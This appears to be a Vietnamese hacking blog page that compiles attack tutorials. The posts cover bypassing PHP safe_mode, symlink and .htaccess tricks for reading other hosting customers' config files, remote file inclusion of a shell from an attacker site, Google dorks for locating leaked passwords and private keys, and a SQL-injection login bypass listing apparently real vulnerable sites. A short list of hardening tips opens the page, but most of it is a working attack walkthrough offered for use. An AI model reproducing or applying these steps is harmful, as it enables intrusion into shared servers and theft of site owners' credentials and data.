  • Tổ chức phân quyền đúng đắn cho server. Mỗi hosting sẽ được cấp 1 tài khoản người dùng riêng trên server và được giới hạn quyền tối thiểu. Web server và database server chạy dưới quyền các user riêng biệt.
  • Cài đặt và sử dụng Mod_security.
  • Cài đặt và sử dụng suPHP.
  • Sử dụng tính năng PHP safe_mode.

2. Từ phía quản trị website (customer)


  • Chmod chặt chẽ cho các thư mục và file. Với thư mục nên chmod 701, với file nên chmod 600.
  • Sử dụng tính năng PHP safe_mode.

VI. Một số kĩ thuật tấn công Local Attack


1. Bypass safe_mode

a. Tính năng safe_mode trong PHP

  • Safe_mode là một giải pháp để giải quyết vấn đề bảo mật trong các shared-server. Về mặt kiến trúc thì đây là công việc nằm ở tầng của web server và hệ điều hành. Tuy nhiên hai tầng trên hiện không đáp ứng thực sự tốt công việc này. Do vậy, ngày nay rất nhiều người đang sử dụng tính năng safe_mode của PHP như một giải pháp thay thế.
  • Để bật tính năng safe_mode của PHP, bạn chỉ cần sửa lại dòng sau trong file php.ini:
safe_mode = On


  • Khi safe_mode được bật, PHP sẽ kiểm tra xem owner của script có trùng với owner của file đang được tác động hay không. Nếu không trùng sẽ có thông báo lỗi xuất hiện. Ví dụ owner của /etc/passwdroot (uid = 0), owner của script test.phpsangcx (uid = 509). Nội dung của script test.php:
<?php readfile(‘/etc/passwd’); ?>

Khi chạy script test.php ta sẽ nhận được thông báo:

Warning:
readfile() [function.readfile]: SAFE MODE Restriction in effect. The script whose uid is 509 is not allowed to access /etc/passwd owned by uid 0 in /usr/local/apache2/htdocs/site2/test.php on line 2


  • Chúng ta cũng có thể vô hiệu hóa một số hàm bằng chỉ thị disable_function của safe_mode (thay đổi chỉ thị này trong file php.ini):
disable_function = readfile

Khi chạy scritp test.php ở trên ta sẽ nhận được thông báo:


Warning: readfile() has been disabled for security reasons in /usr/local/apache2/htdocs/site2/test.php on line 2


Danh sách các hàm mà safe_mode cấm dùng hoặc bị vô hiệu hóa:

http://www.php.net/manual/en/features.safe-mode.functions.php

b. Kĩ thuật bypass safe_mode


  • Để bypass safe_mode, ta cần upload được một file php.ini với nội dung như sau lên server:
safe_mode = Off


Hiện nay có nhiều shell có tính năng này. Chỉ cần 1 cú click chuột là shell sẽ tự tạo một file php.ini nội dung như trên và upload lên server. Một trong các shell hay được sử dụng để bypass safe_modeAluCar.

2. Symlink


a. Một số kiến thức về symlink

  • Trong Linux, dữ liệu của các file được chia thành các block, 1 block = 1K, 2K, 4K…
  • Có nhiều cách tổ chức để liên kết các khối dữ liệu trong một file với nhau, một trong các cách đó là dùng chỉ mục (indexed allocation).



  • Với kiểu tổ chức này, một file được đại diện bằng một Index Node (Inode).



  • Inode chứa các thông tin:
    • Quyền truy cập đến file.
    • Thông tin về người/nhóm sở hữu.
    • Thông tin về thời gian.
    • Số liên kết đến Inode.
    • Kích thước file, địa chỉ các block dữ liệu
    • NHƯNG: không chứa tên file à 1 inode có thể ứng với nhiều file name.
  • Có hai loại file liên kết trong Linux: hard link và soft link (hay symbolic link).
  • Hard link – liên kết cứng, sử dụng chung dữ liệu.
    • Các file có tên khác nhau.
    • Cùng 1 inode.
    • Chỉ số liên kết trong inode bằng số file trỏ đến nó.
    • Có thể khác thư mục.
    • Cách tạo hard link: ln src_file hard_link_file
  • Soft link (symbolic link – symlink) – liên kết mềm, liên kết kiểu con trỏ file (short cut).
    • Các file có tên khác nhau.
    • Giá trị inode khác nhau.
    • Nội dung file liên kết mềm là tên file được liên kết.
    • Cách tạo symlink: ln – s src_file sym_link_file
  • Có thể hình dung symlink giống như tạo short cut trong Windows.

b. Kĩ thuật symlink trong Local Attack


  • Khi thực hiện tấn công Local Attack, đôi khi chúng ta không thể hiện được các thông tin quan trọng như cấu trúc thư mục, nội dung file cấu hình của victim. Nguyên nhân là do cấu hình của server không cho phép chúng ta làm điều đó. Để giải quyết vấn đề này ta có thể dùng kĩ thuật symlink.
  • Ví dụ khi đã có shell tại /home/user1/ và muốn tấn công victim có thư mục nằm tại /home/user2. Các câu lệnh hay dùng như ls –la /home/user2 không có tác dụng. Khi đó ta sẽ tạo một symlink tới thư mục /home/user2 như sau:
ln –s /home/user2 a.txt

  • Khi đó a.txt sẽ như một shortcut đến thư mục /home/user2. Ta chỉ cần vào địa chỉ /home/user1/a.txt là nội dung thư mục /home/user2 sẽ hiện ra. Tuy nhiên, để làm được điều này thì một số chỉ thị sau của server phải được bật:

Options +FollowSymLinks #cho phép dùng symlink

DirectoryIndex seees.html #vô hiệu hóa file index.html

Options +Indexes #cho phép hiện cấu trúc thư mục


  • Nếu server không bật các chỉ thị trên, có thể bạn sẽ gặp lỗi 500 Internal Server Error hoặc lỗi 403 Forbidden. Để khắc phục hiện tượng này, bạn chỉ cần tạo một file .htaccess có nội dung là 3 chỉ thị trên rồi upload lên server.
- Sưu tầm

Xem Thêm

 

Hacking Website using RFI Method

RFI là gì (Remote File Inclusion)
Remote File Inclusion (RFI) là một loại tổn thương thường thấy nhất trên các trang web. Nó cho phép kẻ tấn công bao gồm một tập tin từ xa, thường là thông qua một kịch bản trên máy chủ web. Dễ bị tổn thương xảy ra do việc sử dụng của người dùng cung cấp đầu vào mà không xác nhận thích hợp. Điều này có thể dẫn đến một cái gì đó như tối thiểu như xuất ra các nội dung của tập tin, nhưng tùy thuộc vào mức độ nghiêm trọng, để liệt kê một vài có thể dẫn đến:

* thực hiện trên web
* thực hiện trên phía máy khách như JavaScript có thể dẫn đến các cuộc tấn công khác như cross site scripting (XSS).
* Từ chối dịch vụ (DoS)
* Dữ liệu Theft / ManipulationRFI một lỗ hổng rất phổ biến do các bản vá lỗi và cập nhật trên các trang web quá nhiều.

Bây giờ để kiểm tra xem trang web xem có lỗi hay không để RFI sẽ trả về các lệnh sau đây
Victim chỉ là demo thôi nhé
*www.site.com/index.php?page=www.google.com*
Nếu trang web trả về google thì trang web đó bị lỗi

*/ Cần phải chuẩn bị một code shell .txt lên google search sẽ rất nhiều

*www.site.com/index.php?page=**www.oursite.com/shell.txt*

Xem Thêm

 

Sqlmap plugin for BurpSuite

Nếu bạn là 1 pentester, chắc hẳn không lạ gì 2 công cụ rất phổ biến là sqlmap và burpsuite. Nhưng kết hợp chúng lại với nhau để làm việc như là 1 công cụ thì chắc nhiều người chưa biết.

Sau đây là tutorial của namhb về việc kết hợp này.

Đầu tiên, chúng ta download plugin sqlmap của burpsuite về:

Download SQLmap plugin for Brupsuite at: http://code.google.com/p/gason/downloads/list

1 – Lưu nó lại cùng thư mục với brupsuite

2 – Sử dụng câu lệnh để khởi động brupsuite với plugin: ( ở trong Linux)

java -classpath gason-0.9.5.:”burpsuite_v1.4.01.jar” burp.StartBurp

3 -Khi bạn click vào tab proxy / action, bạn sẽ nhìn thấy tùy chọn send to sqlmap

[Hình: _r_-BO3n0LZXsnrUTNcSzxjegckx9RgHkDPujoDB...cjmflcPdUs]

Việc tiếp theo chỉ cần trỏ trình duyệt nhận brupsuite làm proxy.

[Hình: 4O7tu530hubLlAaAFLhH-KCkmokxxKhtMreIs_ye...YAVUzsePHY]

Sau khi đã chọn send to sqlmap, chúng ta sẽ thấy hiện ra SQLMap Options:

Ở trong SQLmap option, bạn phải:

1 – Cấu hình đường dẫn tới thư mục SQLmap bin

2 – Chọn action

3 – Các option cần thiết, sau đó run

[Hình: z2i_gC10aDHkWm3f8gPuvuzGQGIbZ-msi6UvBnoB...iCzgSyhqMY]

Và đây là kết quả thu được:

[Hình: nrsFOZccXwq9YY7083o2NqF9CvPdIQBGumSZ3D59...CLJi2p607E]

Xem Thêm

 

HOW TO USE GOOGLE TO FIND FACEBOOK AND OTHER PASSWORD BACKUPS!!



HOW TO USE GOOGLE TO FIND FACEBOOK AND OTHER PASSWORD BACKUPS!!



Prerequisites: (This one is Easy!)
1. A modern web browser (i recommend Firefox or Google Chrome) and Internet (Duh, Broadband).
2. Time


In order for these to work, all you have to do is simply copy and paste the dork into Google and search it

Method 1: Facebook!
We will be using a Google dork to find usernames and passwords of many accounts including Facebook!

The Dork: intext:charset_test= email= default_persistent=
Enter that into Google, and you will be presented with several sites that have username and passwords lists!


Method 2: WordPress!

This will look for WordPress backup files Which do contain the passwords, and all data for the site!
The Dork: filetype:sql inurl:wp-content/backup-*

Method 3: WWWBoard!

This will look for the user and passwords of WWWBoard users
The Dork: inurl:/wwwboard/passwd.txt

Method 4: FrontPage!


This will find all users and passwords, similar to above.
The Dork: ext:/wd inurl:/service | authors | administrators | users) "# -FrontPage-"

Method 5Symfony: !
This finds database information and logins
The Dork: inurl:config/databases.yml -trac -trunk -"Google Code" -source -repository

Method 6: TeamSpeak! (big one!!!!!)

This will search for the server.dbs file (a Sqlite database file With the SuperAdmin username and password!!!)
The Dork: server-dbs "intitle:index of"

Method 7: TeamSpeak2!!! (also big!)

This will find the log file which has the Super Admin user and pass in the Top 100 lines. Look for "superadmin account info:"
The Dork: "inurl:Teamspeak2_RC2/server.log"

Method 8: Get Admin pass!
Simple dork which looks for all types of admin info
The Dork: "admin account info" filetype:log

Method 9: Private keys! (not any more!)
This will find any .pem files which contain private keys.
The Dork: filetypepem pem intextprivate

And the Ultimate one, the regular directory full of passwords....
Method 10: The Dir of Passwords!
Simple one!
The Dork: intitle:"Index of..etc" passwd

Xem Thêm

 

Powered by Cyberjee Bypass Login Page Vulnerability

# Exploit : Login page bypass
#
# Location : [Target]/login.php Location 2 : [Target]/admin
#
# Username : '=' 'or'
#
# Password : '=' 'or'
######################
# Proof:
#
# http://www.dumarsgrill.com/admin/index.php
#
# http://www.tripplesperfumes.com/login.php
#
# http://johnnyswatches.com/admin/
#
# http://www.timefactoryinc.com/admin/admin_panel.php
#
# http://www.blakesbarbq.biz/admin/index.php
#
#
#
# Google Dork : intext:"Powered by Cyberjee Systems, Inc"
######################

Xem Thêm

 

Hướng dẫn tổng hợp, chi tiết cơ bản nhất các bước để local một victim.

Bài viết này dựa trên kinh nghiệm cũng như những kiến thức mà mình thấy cần thiết nhất và dễ hiểu nhất để dành cho những bạn nào chưa biết đến Local sau khi đọc xong sẽ biết đến nó và có thể thực hành ở đa số các trường hợp.

I. Đầu tiên là đọc sơ cái Định Nghĩa của Local Attack là gì cái nào:

Local attack là kỹ thuật hack website bằng hình thức tấn công từ nội bộ bên trong. Nghĩa là tấn công vào một website có bảo mật kém chung server với website mục tiêu. Sau đó tấn công sang website mục tiêu bằng các kỹ thuật khác nhau để đạt được mục đích cuối cùng đó là chiếm được toàn quyền website mục tiêu (victim).
Lấy cái ví dụ cho dễ hiểu:

VD1:
+ Server là một cái PC có nhiều folder trên đó.
+ Mỗi folder tương ứng với 1 user toàn quyền trên nó.
+ Local attach đó là làm sao đứng từ folder này dòm ngó và chui vào được cái folder khác. 
VD2:
+ Server là một cái chung cư to đùng.
+ Folder là 1 căn hộ trong chung cư đó và chủ nhà là một em chân dài, da trắng, xinh tươi nằm trong đó.
+ Local attack là làm đủ mọi cách như đục tường, khoét vách phá cửa để vào nhà có em xinh tươi ấy và xxx được em ấy.

II. Những điều cần biết trước khi bắt đầu tấn công và kết thúc Local attack:

1. Xác định website mục tiêu cần tấn công. (victim)
2. Reverse IP để xac định các website khác nằm chung server với website mục tiêu (victim)
3. Tấn công vào 1 trong các website bất kỳ cùng server với website mục tiêu (victim) và chiếm quyền nó.
4. Bước 3 Thành công ta có quyền trên 1 site cùng server với victim. hay mọi người vẫn gào lên là CÓ SHELL RỒI.
5. Chính thức bắt đầu vào quá trình tấn công nội bộ - Local Attack.
6. Tìm thông tin của victim gồm user host, đường dẫn tới victim, file cấu hình của victim (config.php)
7. Tiến hành đủ mọi thủ đoạn, cách, chiêu để xem được NỘI DUNG của file config.php đó.
8. Có thông tin thì ta connect vào database của victim để chiếm quyền admin và up shell chiếm toàn quyền victim. 
=> Kết thúc local attack thành công (xxx được em chân dài xinh tươi ấy rồi :x )

III. Bắt đầu vào chi tiết các bước để Local attack 1 victim.
Ở đây ta bỏ qua các bước từ 1-5 và mặc định là những bước đó ta đã biết sử dụng shell cơ bản cũng như đã có shell trên cùng server victim, và trong phần này mình hướng dẫn dựa trên server có OS là Linux và không cố định ở Distro, kernel nào.Chúng ta bắt đầu vào được thứ 6.

6. Tìm thông tin của victim gồm user host, đường dẫn tới victim, file cấu hình của victim (config.php)
a. Tìm user của victim:

+ Để tìm user của victim ta có rất nhiều cách và cũng có nhiều công cụ để làm việc này riêng mình sẽ chú trọng vào lệnh để vào server linux nào cũng sài được.
- Lệnh : cat /etc/passwd này dùng để đọc nội dung của file passwd nằm trong thư mục etc trên hệ thông.File này chứa toàn bộ tên user của Linux OS


Code:
cat /etc/passwd
less /etc/passwd
...
Xem thêm: Tổng hợp những lệnh shell hay dùng khi local

- Xem chính xác domain nào tương ứng với user nào thì ta dùng lệnh:
đối với server dùng directadmin để quản lý host ta dùng: 
Code:
cat /etc/virtual/domainowners
Đối với server dùng cpanel để quản lý host ta dùng: 
Code:
ls -la /etc/valiases/tendomainvictim.com
chú ý: tendomainvictim.com chính là tên domain website victim cần tấn công vd tôi cần tấn công huynhdegroup.net thì tôi sài lệnh sau:
Code:
ls -la /etc/valiases/huynhdegroup.net
- Có thể dùng chức năng đọc file passwd của con shell các bạn đang sài để view cũng được và đó cũng là một cách nữa để tìm user victim.
- Còn rất nhiều cách để tìm user của victim như xem error log ...
vd : tail -n 10000 /var/log/httpd/domains/huynhdegroup.net.error.log
vd1: cat /usr/local/apache/logs/error_log | grep "huynhdegroup.net" >>"user.txt"

b. Tìm đường dẫn tới thư mục của victim.
Có nhiều cách để xem đường dẫn của victim như check lỗi trực tiếp để hiện thông báo lỗi kèm theo user, path cụ thể... nhưng ở đây là local attack nên mình đề cập đến vài cách tìm như sau:
- Tìm path dựa vào Path của victim chứ shell: ví dụ các bạn vào shell và thấy:
/home/huynhde/public_html/ thì chắc chắn là cấu trúc đường dẫn của victim cũng sẽ tương tự chỉ khác ở phần user mà thôi
=> /home/victim/public_html/
Việc đặt đường dẫn lưu website thì tùy mỗi server sẽ có nơi lưu khác nhau nhưng đa phần trên 90% sử dụng đường dẫn như mình đã nêu. còn lại thì các bạn tự suy ra dựa theo cách suy luận mình đá nói.

c. Tìm file cấu hình của victim (config.php)
Đây là bước quan trọng quyết định tới việc các bạn có thể chiếm được victim hay không phụ thuộc vào bước này.Mình hướng dẫn trong trường hợp đây là mã nguồn victim tự code
thường thì file config.php hay nằm chung thư mục với file index.php tuy nhiên một số người khi code sẽ đưa vào trong vài lớp folder để quản lý code và cách tìm đó là các bạn view nội dung file index.php (để biết view thì các bạn xem bước 7 tiếp theo) để ý các dòng includes các file như là:
Code:
./inc/config.php
./includes/config.php
./includes/db.php
./inc/dbconnect.php
...
Thường thì một số mã nguồn sẽ có đường dẫn file config cố định và các bạn phải tìm hiểu mã nguồn đó để biết được file config đó nằm đâu. mình sẽ giới thiệu vài mã nguồn thông dụng:
Code:
Vbulletin: /home/victim/public_html/includes/config.php
PHPBB: /home/victim/public_html/config.php
Joomla: /home/victim/public_html/configuration.php
WordPress: /home/victim/public_html/wp-config.php
ibp: /home/victim/public_html/conf_global.php
php-fusion: /home/victim/public_html/config.php
Smf: /home/victim/public_html/Settings.php
phpnuke: /home/victim/public_html/html/config.php
Xoops: /home/victim/public_html/mainfile.php
ZenCart: /home/victim/public_html/includes/configure.php
setidio: /home/victim/public_html/datas/config.php
Discuz: /home/victim/public_html/config/config_ucenter.php
Bo-Blog: /home/victim/public_html/data/config.php
Biết được file config.php nằm đâu rồi thì chúng ta bắt đầu qua bước 7 để tiến hành xem nội dung file config đó

7. Tiến hành đủ mọi thủ đoạn, cách, chiêu để xem được NỘI DUNG của file config.php đó.
Có 2 cách thông dụng nhất để xem file config của victim đó là:

A. Dùng lệnh xem file như: cat, less, more nếu server cho phép (tiếc là đa số không cho phép cách này :( )
vd: cat /home/huynhde/public_html/@VHB@/includes/config.php
vd: cat /home/huynhde/public_html/configuration.php
vd: cat /home/huynhde/public_html/wp-config.php
...

B. Dùng phương pháp Symlinks: đây là phương pháp phổ biến nhất và đa số là hơn 95% sử dụng nó.
Symbolic Links là gì?
Symbolic links, vẫn được biết đến với cái tên symlinks, về cơ bản là biện pháp tạo shortcut nâng cao. Nguời dùng có thể tạo các liên kết tượng trưng cho các file hoặc thư mục riêng lẻ, sau đó các liên kết này sẽ xuất hiện như thể chúng được lưu trong cùng thư mục với liên kết tượng trưng mặc dù liên kết tượng trưng lại trỏ đến vị trí thực của chúng.
Có nhiều cách để tiến hành tạo symlinks nhưng mình đề cập đến dùng lệnh symlinks cho cơ bản nhất.Sau đó mới tới việc dùng các tool để khai thác.Để symlinks ta dùng lệnh ln kèm theo tùy chọn cho nó bạn muốn tạo symlinks đến file config.php của victim tên huynhde sau khi đã biết chính xác đường dẫn của nó ta làm như sau:

vd: ta đứng từ site http://dienthoailocal.com/local/shell.php cùng server vớihttp://huynhdegroup.net/@VHB@/ và ta sẽ tạo symlinks tới file config.php của huynhde như sau:
Code:
ls -s /home/huynhde/public_html/@VHB@/includes/config.php 1.txt
-> chạy lệnh này trên shell xong thì ta sẽ có được file 1.txt cùng folder với con shell nếu ta ko đổi thư mục trước khi symlinks.
Lúc này ta có thể xem nội dung của file 1.txt bằng nhiều cách như:
1. Xem trực tiếp bằng lệnh cat hay less: 

Code:
cat 1.txt
less 1.txt
...
2. Xem trực tiếp trên trình duyệt dạng domainshell.com/1.txt
vd: http://dienthoailocal.com/local/shell.php 
sau khi symlink ta sẽ xem như sau 
http://dienthoailocal.com/local/1.txt

Đối với một số server sẽ không cho phép ta xem trực tiếp như trên thì chúng ta sẽ dùng thêm file .htaccessvới nội dung bên dưới để hỗ trợ xem file symlinks:

Code:
Options Indexes FollowSymLinks
DirectoryIndex index.htm
AddType txt .php
AddHandler txt .php
3. Nếu vẫn tiếp tục không xem được thì sẽ có 2 khả năng xảy ra: đó là do server chặn không cho xem và do victim đã chmod phân quyền cho file đó.
+ Đối với việc server chặn không cho xem bằng mod SSI thì chúng ta hay dùng chính SSI để xem file đã symlink bằng cách tạo 1 file SSI có:
- Tên: saocungduoc.shtml
- nội dung:
Code:
<!--#include virtual="1.txt" -->
- Save lại và xem như sau: http://dienthoailocal.com/local/saocungduoc.shtml
Ở trường hợp này thì một số server chúng ta sẽ thấy nó hiện hết nội dung lên liền ở tranghttp://dienthoailocal.com/local/saocungduoc.shtml này.
Tuy nhiên cũng có một số server chúng ta sẽ tháy nó trắng tinh như màng trinh :( lúc này mọi người chịu khó click chuột phải vào chỗ nào trắng nhất và chọn View Source để xem màng trinh nhé =))
- Nếu đã view Source mà không xem được nữa thì chắc nó rơi vào trường hợp bị chmod kỹ hoặc chúng ta symlink bị sai đường dẫn :D

4. Dùng tool để bypass symlink: PHP 5.2.12/5.3.1 symlink() open_basedir bypass



Kết thúc một số phương pháp tạo và xem file config của victim.

8. Có thông tin thì ta connect vào database của victim để chiếm quyền admin và up shell chiếm toàn quyền victim.



Còn những ai thích thì có thể dùng chức năng connect với database trên con shell bằng cách nhập user database, password database và tên database vào rồi connect sau đó dùng câu lệnh query làm gì tùy các bạn.

Xem Thêm

 

Copyright © Dương-UG Blog's - Nguyễn Bình Dương